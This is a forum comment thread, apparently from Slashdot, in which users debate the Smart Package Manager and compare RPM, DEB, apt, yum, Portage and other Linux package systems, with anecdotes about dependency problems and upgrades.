
$ apt-get install /tmp/mypackage.deb

I occasionally do that, and think "bummer!" when apt-get barfs back. apt-get could very well try and satisfy the dependencies of a .deb file. That's a desirable feature, and it's not even hard.

Re:Lets start the fighting now.

[Antique Geekmeister]

No, an installation manager should *not* allow J. Random User to install whatever the heck they want. Too many important utilities have serious security repercussions, such as the default compiler, OpenSSL libraries, network services, PAM authentication, and kernel modules.

Installing and modifying these should require some level of thought and authority, such as local root access.

Now, for the idea of installing mozilla in ~/bin. That's just fine, until you leave your ~/bin group-writable to let your buddy install something, and suddenly your buddy or his broken-into account can now install a mozilla that displaces yours and records your passwords.

I've seen exactly this sort of behavior when some idiot told his friends "here, use my ~/bin for all these useful tools" and cracker put in different version of "ls" that put the cracker's machine into the user's .rhosts file. Voila, the cracker had access all over a poorly secured academic network.

Re:Lets start the fighting now.

[Antique Geekmeister]

I had it far worse than your cans and string. I had to install a TCP/IP stack on Windows 3.10 to get networking.

Re:Lets start the fighting now.

[chthon]

If you upgrade Red Hat the traditional way, then you have to reboot using the new install disk and then upgrade your installation.

However, since yum has become the major tool for Red Hat 9/Fedora Core, you can upgrade your installation like you do it on Debian.

What's more, you can find instructions on the web to upgrade from Red Hat 9 to Fedora, and between the different Fedora's, all using yum.

I have already done it twice for my Red Hat 9 installation, and the only issue I had was that I had to rebuild my nVidia drivers (which only takes 5 minutes).

Re:Lets start the fighting now.

[Elwood P Dowd]

That is obviously a completely unrelated problem.

In fact, it would be less likely to happen with a decent package manager, because instead of making his ~/bin group writable, he'd tell his buddy, "yeah, just apt-get gnu-tools mozilla", and it would be easy.

how about

[the_2nd_coming]

distributing source lists, or having a source updater so you can get a comprehensive lsit of sources without hunting for them?

Re:how about

[Doctor Crumb]

stop using RPM. Debian has a central repository. Most non-RPM systems do as well. I recommend installing apt on any RPM system and using that to manage source lists and package control. It still uses RPMs, but it takes care of most of the dependency problems for you.

As a linux dev'r this is great news.

[mandrake*rpgdx]

No more creating six different distro's. I mean, right now I could just tar gz it, and have people run make configure...but that really isn't as feature rich, or as easy for the end user in some cases. This is very nice. I just hope it actually goes somewhere.

they are all obsolete

[Anonymous Coward]

Besides RPM's awful design and inscrutable, poorly documented configuration (yup, time to clear those stale locks.. AGAIN), all these package managers smell.

I just discovered how Gentoo's system works and it blows me away. If you're not familiar or you think Gentoo is for ricers, reserve judgement for just a second.

In Gentoo to create a package, you write a script that installs the program in a temporary directory. THAT'S IT. For most programs, that's like 2 lines. There's an object-oriented-like system (eclass) for maintaining common setup code for the more complex packages. The system takes care of the rest by examining what was installed in the temporary dir and building a "package" out of it. There's some "sandbox" code that makes sure you don't install outside of the temp dir.

And the way it merges and cleans the packages is also very nice and makes a lot of sense. If you accidentally delete a dependency it will be re-installed next time you update.

So I'm looking at this "unified package management" and it makes me think of Sears merging with K-Mart.. okay, now I just have to avoid ONE logo when I go shopping.

Re:Why all the fuss?

[Ava3ar]

control LOL, u have about as much control as fire does blocking water

Same standard, multiple implementations

[mrchaotica]

Standards are great, but that doesnt mean there should only be one way of implementing something.

Yes, that's exactly right! However, it does not mean that we have to "treat each distro as a diferent OS," like the original poster suggested.

What's stopping us from having interchangable package managers? Why can't we just agree on a standard or two (such as putting everything in the same place, and using the same format for the "installed packages" list) so that I could start with RPM, delete it and install Apt, and keep going (or vice versa)? Why can't we make it so that we can choose a package management system the same way we can choose a window manager?

Re:Same standard, multiple implementations

[space_man51]

Why can't we just agree on a standard or two (such as putting everything in the same place, and using the same format for the "installed packages" list) so that I could start with RPM, delete it and install Apt, and keep going (or vice versa)?

The FHS (Filesystem Hierchy Standard) is designed to address this very issue: http://www.pathname.com/fhs/

Unfortunately it isn't specific enough. We need a second set of guidlines to deal with specific classes of software (KDE-based, GNOME-based, pytho n programs, Java programs, etc.). They have some special requirements (CLASS PATHS, ksycoca system, gconf, etc.) that probably need to be addressed. Until then it's up to the distros to decide these issues.

Debian, for example, has a set of "policies" to deal with Java programs, Perl programs, etc: http://www.debian.org/devel/. I think these should be used as a basis for an FHS-like standard.

Re:Same standard, multiple implementations

[Sc00ter]

"I could start with RPM, delete it and install Apt

RPM is a package. Just like DEB.

Apt is a package manager, just like Yum.

Please do not confuse them.

Re:Same standard, multiple implementations

[mrchaotica]

We need a second set of guidlines to deal with specific classes of software (KDE-based, GNOME-based, pytho n programs, Java programs, etc.). They have some special requirements (CLASS PATHS, ksycoca system, gconf, etc.) that probably need to be addressed.

No, we don't.

The reason why we don't is that the problem lies in the concept of GNOME and KDE itself, not the FHS. The pieces of GNOME and KDE need to become interchangable too, just like the package management.

Re:Same standard, multiple implementations

[Gherald]

> RPM is a package. Just like DEB.
> Apt is a package manager, just like Yum.
> Please do not confuse them.

You are the one that is confused: RPM is a recursive acronym for "RPM Package Manager." Yum is just an alternative that uses the same format. Observe:

# whatis rpm
rpm (8) - RPM Package Manager

Re:Same standard, multiple implementations

[cayenne8]

By the way...how did they leave out Portage? That thing works like a charm!!

Re:Same standard, multiple implementations

[Afrosheen]

Ok, this is getting wacky. I've always believed that RPM = Redhat Package Manager. An RPM file, on the other hand, is generically known as a Redhat Package or just a package. So RPM is really RPM Package Manager? Weird.

Re:Same standard, multiple implementations

[say]

You got it right. Red Hat changed the name when they realised others wanted to use it as well. It's pretty bad for Mandrake to be using the RedHat Package Manager, so they eventually changed the name. Anyway, much of the development in RPM came from other sources than RedHat employees, making the name a little misleading. An RPM file is now known as just that - an RPM file or an RPM Package or an RPM Package Manager file.

Re:Same standard, multiple implementations

[eviltypeguy]

so that I could start with RPM, delete it and install Apt, and keep going (or vice versa)

The myth of APT continues...

Repeat after me:

APT IS NOT A LOW LEVEL PACKAGE MANAGER.

*dpkg*, and *rpm* are low level package management programs.

*apt* is merely a program (much like yum) that uses the underlying low level package management program to perform it's high level package management magic.

Why do you think apt on redhat isn't just apt? It's apt4rpm!

Why do you think Debian boxes ship with *dpkg*, because apt uses it!

Re:Same standard, multiple implementations

[mrchaotica]

They left out Portage in the sense that the software doesn't support it.

Of course, "that thing works like a charm" could be why they left it out -- us Gentoo users don't need it.

Re:Same standard, multiple implementations

[mrchaotica]

Okay, okay, sheesh! I understand what apt and dpkg are; I just said apt as shorthand for "Debian package management," since that's a more well-known term than dpkg. So, sorry for the inaccuracy; I'll try to do better next time!

"Fix All Problems"

[Anonymous Coward]

I noticed that menu option, Edit -> "Fix All Problems". Well hell, my users clicked on that and now I'm out of a job. Thanks a lot, Conectiva!

Reinventing

[paugq]

Reinvening Autopackage and OpenPKG once again?

Re:Reinventing

[happyfrogcow]

It's gotta happen atleast once a year.

Re:Reinventing

[Anonymous Coward]

No, the focus is entirely different. Autopackage provides an alternative for packagers. OpenPKG provides package specifications. This project is all about letting the end users use packages from multiple sources. Complementary, sure, but I don't get how you can think that it's reinventing Autopackage or OpenPKG

Re:Reinventing

[Anonymous Coward]

erm... You have to RTFA to understand what "smart" is about.
I will translate but you better mod me up ;)

Smart's Screenshots

smart is a new package meta-manager written by Gustavo Niemeyer from Conectiva, and is to APT as APT was for its predecessors. These are the screenshots of the developing version, wich will be launched soon, running on a machine with Fedora Core 3.

Note that smart can be run in text mode (smart install ), via GUI (smart --gui), or even a mixture of both (smart --gui install ), besides an interactive text mode (smart --shell).

A documentation is available online and is worth reading. It explains, for example, some cases where smart resolves some broken dependencies which APT could not.

(that is not the oficial page of project The text below is my opinion.)

pic 1

Smart is highly agnostic when it comes to distributions e repository formats.
Works even mixing; accessing the fedora repository as a YUM repository (RPM MetaData) and Livna as APT, for example. Just works. Besides, the option "RPM Directory" points to a directory with packages. Doesn't need a special indexing procedure as APT and YUM require. Creating repositories more easily then that is impossible.

pic 2

Tipical view: you can list the packages by group (Applications, Development, etc.), by repository (Fedora Core, Livna, etc.) or mixing both. Green squares are the installed packages, white squares are the available packages. With the context menu, it is possible to stop packages from ever being dealt by smart.

pic 3

All software should have the option to "fix all problems":) But smart is allot more intelligent and can even recover the system from situations that APT cannot fix.

pic 4

The mirror system is very cool. You define which URLs can be used as alternatives to a main URL.
When it is necessary to get some archive, smart automatically searches the mirrors, does simultaneous downloads, etc. If a mirror is broken, incomplete or dated, smart automatically lowers the priority of that mirror and tries the next one. On the other side, quality mirrors with a fast connection are used more frequently.

pic 5

Priorities are an interesting resource. Can you have several repositories with identical packages? With smart you can establish who has priority over who, and avoid your local packages from being overwritten by packages in remotes repositories, or by third repositories which overlap the official repositories.

pic 6

Downloading packages.

Re:Reinventing

[IamTheRealMike]

Well not really. This project seems to be about simply improving the apt/yum dependency resolution algorithms: a worthy goal indeed. The Slashdot headline is misleading as usual, this project won't be "unifying" anything anytime soon except maybe the command line UI for each tool; hardly a big deal.

Actually fixing Linux software installation is going to be very tricky indeed. I wrote some notes on it. That document also talks about what's wrong with apt et al and why "Just use Debian!" is not a suitable answer to peoples criticisms.

autopackage is a good start but it's only one component of many that will be needed. OpenPKG has rather different goals and it's not quite fair to compare them.

Re:Reinventing

[salmacis2]

It's worse than that. I can't see how it can possibly work to try and install packages that were originally packaged for a different distribution. Sooner, rather than later, you are going to run into problems with packages not installing because files clash with files from other packages. Plus, the thing looks like an absolute nightmare to set up and use. Autopackage has the right idea. Create a packaging format which will be compatible with all distros. Then the writers of each application can create a single package, which can be easily installed anywhere. The idea is right. Linux needs a unified installer. This way is the wrong way to solve it. Autopackage has it right.

Re:Why all the fuss?

[0racle]

At least I can install something to c:\Other directory instead of everything going into c:\Program files without having to resort to ./configure && make && make install, which completely destroys the point of having a packaging system to begin with.

Why Unify Everything?

[debian4life]

I understand you have to target the business desktop world, but I am not really interested in all of this business of having a unified desktop and now a unified package management system.

I, and many others, have CHOSEN Linux because we wanted the power to choose. One man's apt is another man's yum, is another man's yast and so on.

Re:Why Unify Everything?

[Anonymous Coward]

Once you get past the "wow, I can recompile my own kernel!" phase, and just want to get stuff done, even the hardcore hackers don't care about low-level crap. What format binary packages come in is low-level crap.

I don't care what scheduling algorithm the kernel uses. I don't care if my programs use a.out or ELF. I don't care if my filesystem is Reiser or XFS. I don't care if my bits are stored big-endian or little-endian. Not important! Doesn't matter!

With package managers, it doesn't matter which is used, but if they all use the same, it's a lot simpler for me. I don't have to learn different systems, or wonder if you've packaged program Y for system Z. It's essentially a convention. As long as it does everything we need, it doesn't matter which you pick, but pick something.

It doesn't matter if you drive on the left or the right, but it's a lot easier if everybody uses the same convention. Otherwise it's just confusing for the sake of being confusing.

Re:Why Unify Everything?

[Anonymous Coward]

"I don't care if my filesystem is Reiser or XFS"

If you do intensive filesystem or database work, this kind of low-level thing certainly matters.

Re:Why all the fuss?

[EditDroid]

I haven't really used apt, but tools like urpmi, while great for installing, usually fall short when it comes to uninstalling software. When I uninstall a package, I usually want to remove all its (unique) dependencies at the same time. Maybe I'm missing something, but these tools don't give me an easy way to find out exactly what those dependencies are. I imagine FreeBSD's much praised ports system has the same problem.

IMO software installation/uninstallation is another area where OS X shines, at least in terms of user friendliness. Just drag the app icon into a folder of your choice. To uninstall, just throw it in the trash.

Re:Why all the fuss?

[compass46]

Many software packages cannot be relocated to a different prefix once compiled because the install prefix gets coded elsewhere into the program or related files. Spend time building packages yourself and you will see that from time to time.

So what?

[Anonymous Coward]

At this point, "dependency hell" is pretty much a thing of the past. I say "pretty much" because some distros (Debian) are better than others with their packaging (Mandrake), but apt and the like really have eliminated the problem of not knowing what else you need to install to get one particular thing to install.

Third-party packages may be a different story, but the reason for that should be pretty obvious: sloppiness on the part of the packager. Any distro (or OS) can suffer from this. Yes, even when compiling or emerging software you might just run into a program which insists on having _exactly_ the right version of every library. It's the program's fault.

Now, that has less to do with the Smart Package Manager (the topic of this discussion) than some people seem to think. SPM is just another apt/urpmi/whatever, except that it's supposed to work with RPMs, DEBs and Slackware .TGZ packages instead of just one format. Not a bad idea, not exactly revolutionary either (Anyone remember alien, the package-format translator?) Basically, it's another attempt to make package format irrelevant. And of course, it's still in beta. That's about it, folks.

Conary

[Anonymous Coward]

These guys should look at Conary, I think it really has the right idea...skip past the apt and yum hacks.

Re:Why all the fuss?

[Anonymous Coward]

But what if I want to install "gimp 2.0.0.2" in a way that doesn't mess up users currently using "gimp 2.0.0.1".

If I could put "gimp 2.0.0.2" in /usr/local/experimental and have that not affect users using the existing gimp from /usr/bin, I'd be much happier

Cool

[Tobias Luetke]

I like the "Fix all problems..." option.

But i have no idea how software can make me understand women...

Re:Cool

[five18pm]

Or make women understand me.

Re:Why all the fuss?

[Anonymous Coward]

I've found a great solution to this problem! They call it Windows!

Great, I'll start using it reaches the stable branch. For now, good luck to all you brave souls out there who run unstable and testing.

By the way, any news on how well it works on ppc and arm? I can't seem to find the source anywhere to test it out. Oh well, guess i'll stick with apt for now.

Re:Why all the fuss?

[ArsonSmith]

ln -s /usr/lib/gimp /opt/gimp

What hell?

[Anonymous Coward]

I've only been running debian and gentoo, perhaps other distributions really are worse... but I've never noticed any "dependency hell".

apt-get install
or emerge ... and it's done!

Installing stuff on windows is generally more work/more annoying.

Re:Why all the fuss?

[flibuste]

Software installation using any of the package managers above is usually easier than your average software installation in Windows.

No, no, no, no, no. That really is a /.ter answer. This is not true. Linux is known for being a package hell. I cannot count how many packages I could not achieve install because of some existing yet missing librairies, or the version is ok but urpmi reported not ok, or all mirrors are gone, or ..or....etc.

At least on windows, you rarely have more to do than click "Setup" and off you go.

Last example: xmltv: NO F...WAY to get all the packages updated with Mandrake 9.1. How to make it work? Upgrade to MDK10. How? Download the whoe distro...re-install...call that an update? I expect to have to ru urpmi to switch from 9.1 to 10, but of course, it does NOT work

If those guys achieve what they claim, there will be one more happy Linux user in this world. Right now, it's a frustrated user...

Note: I consider myself an experimented developer, if I have troubles with updating using urpmi, talk about my mum!

Why don't people use source RPMS?

[CustomDesigned]

I grab one source RPM, and "rpmbuild --rebuild" it on each platform as needed. For packages I maintain, I take care to make a single SRPM build on all the platforms I use. I can usually take an SRPM from Fedora, and build it on RH7.3 or RH9 with no problems - or maybe a few tweaks. (Unless you're talking latest Gnome GUI stuff.)

Also, what dependency hell? Sure, running the low level RPM command makes you fetch dependencies manually. But when running the high level systems like RedCarpet, Yum, Apt-RPM, etc, it is automatic. What *I* would like to see is for the high level manager to handle source RPMS automatically - downloading and rebuilding them when requested or when no binary is available, and handling build dependencies similarly to install dependencies.

Re:Why don't people use source RPMS?

[y2dt]

Dude, the high level manager you describe is called Portage...it's what Gentoo Linux uses. You should give it a try.

I did and I never want back to crappy RPM based package management

Re:Why don't people use source RPMS?

[Nothinman]

I did and I never want back to crappy RPM based package management

Probably because you havn't finished installing Gentoo yet, once the compiling stops and you've used the system for a little bit you'll realize how much of a waste of time compiling everything is and hopefully you'll move onto Debian, where there's all the automation but none of the wasted time.

Re:Why don't people use source RPMS?

[rongten]

I am using gentoo for a while, and I must say I am very well off, thank you very much.

My 5 years old pc (maybe more, based on an I440BX) get faster and more responsive every day as a desktop, with xorg, gnome 2.8, with an appropriate choice of themes and eyecandy: I want to be productive, after all.

I have seen on the other hand people installing debian testing, having issues, and resolving them going in unstable(!).

I was trying to help these people, but I had difficulties to navigate between all those pkg, pkg-devel, pkg.12.23 etc. etc.

I have nothing against debian, most likely, were I using it I would know all the caveats and navigate easily, but at this moment, I see people that have troubles installing the drivers for video cards matching their kernels.

So, please refrain to attack something that seems growing instead of shrinking every day.

And consider that compiling from source helps to find bugs much faster than using binary distros.

In a way, the gentooist are gamma-testers,
and deserve a modicum of respect.

Thank you very much.

Re:Why don't people use source RPMS?

[juergen]

apt can fetch source packages, compile & install them. And you can tweak the install location and anything else before the compile step. and apt can solve build dependencies automatically.

With some optional tools, you can even build in controlled chroots or in UML cages for the truly paranoid.

In fact, that's how source package's build dependencies are tested -- auto-build in a minimal chroot/UML environment.

Re:Why don't people use source RPMS?

[Nothinman]

I have seen on the other hand people installing debian testing, having issues, and resolving them going in unstable(!).

So? Everything goes into unstable first then after it's there for 2 weeks without any major bug reports it automatically gets pushed into sarge, it's called QA. If a bug requires a new package it has to go though QA in sid first. Once sarge becomes stable it'll get fixes injected directly into it, but no new versions of packages will be allowed in order to keep things consistent and stable. But frankly I've been running sid for a few years now and can count the number of package bugs that took more than a day to fix on one hand.

And consider that compiling from source helps to find bugs much faster than using binary distros.

Doubtfull, most people compiling those ebuilds have no idea what's going on so I'm sure if they all get reported as bugs the package maintainers just have a lot of false positives to weed through, like screwy USE flags and crap

And do you think that noone compiles the packages on a binary distribution? In Debian every package gets automatically built on every architecture it's valid for, so compiler and architecture-specific package bugs are found just as fast or faster.

Re:Why don't people use source RPMS?

[CustomDesigned]

Gentoo is great for a single machine. But I want to install binary packages when they are available. You see, I have to manage 40 machines. Compiling from source on all those machines is not an option. Most don't have a compiler installed (more secure). I simply want to install a package on a prototype machine of a particular OS (AIX,Rh7.3,Rh9 currently), and when I am satisfied, build the SRPM on the other OSes and copy the RPMS to our own little yum update web site so all the other binary only machines can grab them.

Re:Why don't people use source RPMS?

[rongten]

About testing/unstable, the same packages
not working in testing were working in unstable.

This does not make a lot of sense to me.

The USE flags cannot seriously compromise a
compilation; it is usually other settings in /etc/make.conf that can.

I am sorry, you do not seem to know gentoo well enough to do such statement, otherwise you would
have said which USE flag could create problems.

And before moving the bug upstream, usually it
is in bugs.gentoo.org that they are discussed.

Finally, each gentoo installation is unique in its own right, and each package is compiled in a lot more of different environments than the ones of the developers packaging the debs for debian.

It seems to me that we are moving in the right direction.

Re:Why don't people use source RPMS?

[Nothinman]

About testing/unstable, the same packages not working in testing were working in unstable.

This does not make a lot of sense to me.

The problem could have been in a support library or the package in unstable could have been the same version but a different build number. Without knowing what the specific problem was, it's hard to say.

I am sorry, you do not seem to know gentoo well enough to do such statement, otherwise you would have said which USE flag could create problems.

Whatever, the idea is sound even if I had the location incorrect.

And before moving the bug upstream, usually it is in bugs.gentoo.org that they are discussed.

And? Debian has mailing lists for those discussions too. The point is that the fixed packages are put into a different tree for testing before being pushed onto the general population.

Finally, each gentoo installation is unique in its own right, and each package is compiled in a lot more of different environments than the ones of the developers packaging the debs for debian.

Which makes it impossible to do real QA since everyone's machine is different. Essentially every Gentoo user becomes a QA person because there's no way for a Gentoo developer to easily recreate their environment.

It seems to me that we are moving in the right direction.

It seems to me that Debian is already there, we've got binary packages for the majority of people and we've got the apt-build package for those that want to rebuild their packages for whatever reason.

Re:Why don't people use source RPMS?

[rongten]

It seems to me that Debian is already there, we've got binary packages for the majority of people and we've got the apt-build package for those that want to rebuild their packages for whatever reason.

Perfect. Now consider the phrase that spurred my response:

Probably because you havn't finished installing Gentoo yet, once the compiling stops and you've used the system for a little bit you'll realize how much of a waste of time compiling everything is and hopefully you'll move onto Debian, where there's all the automation but none of the wasted time.

They say that gentooist do uncalled evangelism, but it seem to me that you fell in the same pattern.

Why do not reserve our energy to convert more desktops from proprietary OS to a better alternatives?

Re:Why don't people use source RPMS?

[Nothinman]

They say that gentooist do uncalled evangelism, but it seem to me that you fell in the same pattern.

And?

Why do not reserve our energy to convert more desktops from proprietary OS to a better alternatives?

Because I'm not sure that I believe that Gentoo is a better alternative.

Re:Why don't people use source RPMS?

[rongten]

I meant convert people to GNU land, from the dollar green pastures of WindowsTM.

Re:Why all the fuss?

[Anonymous Coward]

When I uninstall a package, I usually want to remove all its (unique) dependencies at the same time. Maybe I'm missing something, but these tools don't give me an easy way to find out exactly what those dependencies are. I imagine FreeBSD's much praised ports system has the same problem.

man urpme

Politics

[lakeland]

The Debian packaging system works pretty much perfectly. There are some tiny problems (e.g. the way apt calls dpkg means an inopportune power-cut could leave the system in a worse state than it really should, the equivs package and the meta packages are a tad crude).

Compared to yum, Debian's system works very well. flawlessly. So why doesn't RedHat use it? I rather suspect that is because RedHat didn't invent it, and RedHat has never dropped something they invented over a superior product developed elsewhere.

Debian and the derivative distributions have this sorted perfectly. Even Gentoo has this sorted better than RedHat, even BSD (ports) solves this much better than RedHat.

Yet RedHat continues to use an inferior system, and people continue to use RedHat. For some reason, those people think it is a problem with linux, instead of a problem only present on RPM distributions. Oh well...

Re:Politics

[Anonymous Coward]

Can you tell me WHY deb's are somehow superior to RPM's? People keep claiming this every time the discussion comes up, but over the YEARS I've been following this I have never ONCE seen anyone actually articulate any coherent arguments.

I'm not saying nobody has put forward and GOOD arguments, I'm saying I haven't seen anyone put forward ANY arguments. Only this unsubstantiated whining.

I'd really truly like to know. What exactly do you find deficient about RPM's? What exactly do you find superior about DEB's?

Re:Politics

[prockcore]

Yet RedHat continues to use an inferior system, and people continue to use RedHat.

RPMs aren't inferior to DEBs.. they're better. dpkg doesn't have a verify ability. I can verify files on my drive are the exact same files installed by rpms. Thus if you overwrite my /bin/login, I'll be able to tell.

yum works perfectly well for me. The problem is when you download rpms from random sources and install them. Debian doesn't have this problem because no-one but debian offers .debs.

Re:Politics

[mrchaotica]

Debian and the derivative distributions have this sorted perfectly. Even Gentoo has this sorted better than RedHat, even BSD (ports) solves this much better than RedHat.

I agree completely, which is why I think we ought to work on unifying apt/dpkg, Portage, and possibly BSD ports into one system (e.g. start with Debian and add the cool features of Portage to it, or vice-versa), and try to get people to drop RPM-based distros (or get those distros to switch to the new standard).

Other than Red Hat's "Not Invented Here" issues, I don't see how anyone could not agree that Apt etc. are superior.

Re:Politics

[lakeland]

*Giggle* debsums must be a figment of my imagination then... oh and apt-get.org must be too. Of course, with over three times the number of packages as RedHat you don't need to go elsewhere so often, but it is nice to know there's many hundreds of repositories listed. I know most of the sourceforge sites include a .rpm and not a .deb. Could it be because the package is already in debian? It's damn nice to never have to go searching for software.

Gee, I wonder what I have was smoking, that halucination has lasted for years, thanks for enlightening me! Oh, and next time, try getting a clue before you post... Hints #1: Try searching for library versioning if you want to find one of the problems with RPM. #2: yum still uses RPM and so it still has all the old problems with RPM.

Re:Politics

[Mr_Icon]

APT doesn't support multilib. This means that you can't sanely install i386 packages on x86_64, which sometimes you must.

Re:Politics

[lakeland]

Sounds good, but I'm afraid I've got way too many projects on my plate currently :-( I had to drop the last project I was working on because I just ran out of time...

If you're interested, most of the infrastructure for sending packages as deltas works, but it just needs a few more key bits (integration of a now-dead module back into apache), tweak to said module to permit precomputing of the rolling checksum, inclusion of a patch to gzip that's been floating around for years now, small tweak to wget to support the checksums (basically call rsync). Can you tell I haven't quite mentally given up on it? :(

Re:Politics

[metamatic]

It's not the file format that's the issue, it's everything else. Specifically, the lack of functionality and horrendous UI of RPM.

Debian's system could work exactly the same way, and use the RPM file format, and it would likely be just as good.

Or, RedHat could build a package management system that actually managed packages (rather than installing them, removing them or barfing), bolt it on top of RPM, and have a decent Linux distribution.

Re:Politics

[shagrat]

Is it possible to upgrade a RPM based distro without the use of a CD? With Gentoo or Debian, you can update apt or portage, upgrade, and be using the newest system. Is that possible with RedHat/Fedora? Does Yum do this, and on the command line?

Re:Politics

[Anonymous Coward]

...Except, of course, YUM originally came from Yellow Dog Linux on the Mac. (Yellowdog Update Manager)

Redhat didn't invent it. ;)

Re:Politics

[abulafia]

Yet RedHat continues to use an inferior system, and people continue to use RedHat.

Hm, I'm not accusing RH of anything here, but it did just occur to me that dependency messes in RPMs could be a positive thing for RH - it provides an encouragement for the users they do have to *only* install RH packages, in order to avoid .so messes and whatnot.

Re:Politics

[lakeland]

The best way to answer this is to encourage you to go out and make a couple of both. But, I'll try to give you a couple starting points off the top of my head. Again, you really need to try them to see.

1) Debian packages are distributed as a .orig and a .diff. The .orig should match the upstream md5sum, and the .diff is usually small enough to read easily. This has a number of benefits: For the paranoid it is much easier to see that debian is not introducting any security holes (if you know upstream are safe, then verifying the debian package is trivial). And in debugging it is easier to determine if a bug is in a debian extension or in upstream.

2) (Technically, not an advantage to the deb format, more the tools). Debian packages obtain their version depends automatically, making the depends much more reliable. All debian packages are built by the autobuilders which start with a minimal install of debian and then only install the packages in the depends, thereby ensuring that the package will install and run with the depends that have been listed.

3) Debian packages have better support for depends, build-depends, conflicts, suggests, recommends, replaces, .... RPM has some of those but it doesn't have them all. As a package maintainer, having them all just makes life easy. Incidentially, this is an area gentoo goes better than Debian, but I digress.

4) RPM does version numbering based on either packages or files, and the automated tools make it easier to do version numbering based on files. This means that unless the package maker is skillful it is easy to end up in a RedHat equivilant of DLL hell. Generally the guys at redhat are smart enough to work around this deficiency in the file format, but it is still a problem.

5) Debian packages have a very nice handling of preinst, postinst, prerm, postrm. Having all those different scripts makes it easy for the package maintainer to do things elegantly where the RPM package maintaner has to do the same job as a bit of a hack. This is pretty much only noticed by users when something goes wrong.

6) Configuration options are handled by a standard mechanism and answers stored in a database. This all makes reconfiguration, reinstallation, transferring installation, etc. much easier. Similarly, when you upgrade, you are shown diffs of your configuration files and (new feature) can even have your modifications automatically added to the new version. RPM doesn't bother with this very much at all.

7) Virtual packages are not handled well by either format, but I would say the debian version is slightly better (because of Provides:).

8) Debian pacakges are built using standard tools (ar, tar, gzip). This means they can be created, extracted and the like on a non debian system. RPMs can be extracted using rpm2cpio, but I wouldn't like trying to create a rpm on a non redhat machine.

9) Logging of all actions is supported by deb, and you can have the logs emailed, etc. This is pretty pointless if you're just managing one machine, but with many sysadmins and many machines it is very nice. On second thought, this is more a tool benefit than a file-format benefit, so I better stop here...

Most of the deficencies in RPM can be masked by a skillful maintainer. If you build a good RPM it can be about as good as a good DEB. The key difference then is that building good RPMs is more work than building good DEBs because the debian file format contains the control structure that makes doing the job easy while the RPM format only contains the control structure that makes the job possible.

Most often the deficincies manifest themselves in userspace when you're using 3rd party RPMs. Because the package manager was not as experienced at making packages as a RH employee, the RPMs don't deal with version conflicts, depends and the like so elegantly. Contrast this with 3rd party DEBs and the file format m

Re:Politics

[DoofusOfDeath]

deb packages can contain scripts that run during the installation procedure, prompting the person doing the installation/upgrade to make certain choices.

This is great, because when you have software packages that make use of fairly complicated /etc file, symlinks, etc., a well-written deb script will take care of all that stuff for the person doing the install.

I can't think of any examples of the particular things I've been prompted to decide about during deb package installation, but at the time I've realized that I'm very glad someone built that stuff into the script. It let me install some fairly complicated pieces of software and get them running without needing to become an expert on that software.

Re:Politics

[lakeland]

Yes, it is possible but since it is a fairly new feature it is still marked as experimental.

Re:Politics

[lakeland]

Interesting... This really should be modded higher than zero :-(

However you missed my point very slightly. RedHat does not swap to a competing product when they have an in-house tool that does the job. When they don't have an inhouse tool they are quite happy to take a tool from somebody else.

RedHat didn't have anything that did dependency resolution, so taking from Yellow dog seems reasonable.

Re:Politics

[Anonymous Coward]

I think we ought to work on unifying apt/dpkg, Portage, and possibly BSD ports into one system (e.g. start with Debian and add the cool features of Portage to it, or vice-versa), and try to get people to drop RPM-based distros (or get those distros to switch to the new standard).

So this 'new standard' would then violate the LSB specification, which specifies RPM as the package format...

Re:Politics

[nortcele]

RPMs aren't inferior to DEBs.. they're better.

I can't take issue with how good the dpkg system is compared to rpm, but surely most anything would be better than rpm. I am tired of having to rebuild rpm databases with the rpm --rebuilddb because of a confused rpm database. When we had OpsWare give our company a presentation of how they manage servers with their software, my question about how to deal with corrupted rpm databases indicate that it's a common problem with no easy remedy. It requires manual intervention in an otherwise nicely automated management process.

I use and promote linux. I don't particularly enjoy rpm files when compared to my pkg experience on Solaris.

Re:Politics

[Rich0]

I remember that back when I actually used RH/Mandrake it wasn't all that easy to auto-download packages either. Security updates were highly manual without a paid subscription to a service.

A possible alterior motive for this is CD sales. When software is updated, RH doesn't want you to do an emerge -uD world, they want you to go to the store and spend $30 on a CD. The business model has changed a little since then - now they want you to spend $1000 on a CD. Either way, they don't want you to just upgrade in place without spending money...

Re:Politics

[moZer]

Hrm, I think some of the information about RPM needs to be clarified.

1) RPMs are distributed as upstream source + any number of patches. That's equivalent.

2) RPM calculates dependencies by looking at what libraries are linked to by any of the files in that package. You never specify a dependency on say, "gtk2", that is done by RPM. Except for the case when a program calls an external binary, such as k3b depends on cdrecord.

3) RPM has everything but suggests and recommends.

4) Not sure what you mean there, but I think it's about packaging different versions of the same library to be installed in parallell, like qt-2.3.1-1 and qt3-3.1.1-1? Debian does that too, I don't know what's automated in that process however.

5) RPM has pre, post, preun and postun scriptlets. Those are simply short shell scripts that are run at install/uninstall. How is that any different?

6) RPM has a policy of never asking any questions during install. IIRC you can set the ask-questions-level to "never" in Debian, which would be equivalent. Nice thing to have though.

7) RPM has Provides:

8) Well...you need rpm, rpm-build and popt. Maybe not as standard as ar/tar/gz, but by no means impossible.

9) Logging is possible on the dependency manager level (yum/apt/up2date etc). I don't see why you'd need additional logging at the lower package manager level.

That should make the list a bit shorter. I'd agree that DEBs are a bit more feature-rich, mainly because of the configuration abilities and suggests/recommends stuff, but the difference is not that big.

The main advantage of Debian packages is not in the file format, but in the fact that there are basically no 3:rd party packages. They are all in (one of ) the main Debian repository(-ies), and are therefore compatible. What do you think would happen if there were to appear 10 dpkg-based distros, with package names and packaging guidelines each slightly different from each other, and from Debian?

Re:Politics

[mrchaotica]

Aye, that's the rub. The problem is that the LSB specification is wrong. I don't know who decided these things*, but they certainly didn't consult me about it!

*actually I do; it was Redhat et al. But from what I have heard, most of the community prefers Debian-style, so it was pretty despicable for Redhat to force its preference on everybody else.

Re:Politics

[mrchaotica]

Okay, I know enough to be a competant Portage user, but I have absolutely no idea what "sending packages as deltas" means.

Re:Politics

[javabsp]

6) Configuration options are handled by a standard mechanism and answers stored in a database. This all makes reconfiguration, reinstallation, transferring installation, etc. much easier. Similarly, when you upgrade, you are shown diffs of your configuration files and (new feature) can even have your modifications automatically added to the new version. RPM doesn't bother with this very much at all.

Ehh, how do I do this (merge modification to new version)?

Re:Politics

[lakeland]

apt-cache search diff3 should find it I think. Else google. It is still marked experimental in unstable.

Re:Politics

[Anonymous Coward]

##. What do you think would happen if there
##. were to appear 10 dpkg-based distros,
##. with package names and packaging guidelines
##. each slightly different from each other,
##. and from Debian?

It happens now with Ubuntu.

You will soon see the results.

Wrapper hell

[grumbel]

